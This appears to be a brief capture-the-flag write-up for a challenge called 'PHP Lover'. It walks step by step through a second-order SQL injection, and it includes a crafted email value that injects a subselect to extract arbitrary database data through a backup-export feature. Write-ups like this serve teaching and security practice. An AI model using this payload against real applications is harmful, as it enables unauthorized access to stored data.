atbZd4QF

1Write up PHP Lover:
2After looking this source, we can see sql injection second order attack in email when report action
3step 1: register account username: "a"*260 + "test0x"
4step 2: goto edit change email : "x',1),((select/**/user_id/**/from/**/users/**/where/**/nickname="yournickname"),(select/**/[whateveryouwant]),1)-- -@gmail.com and upload whatever avatar you want to trigger report action
5step 3: go to backup page and export
6step 4: go to backup page and export again and see result in the email.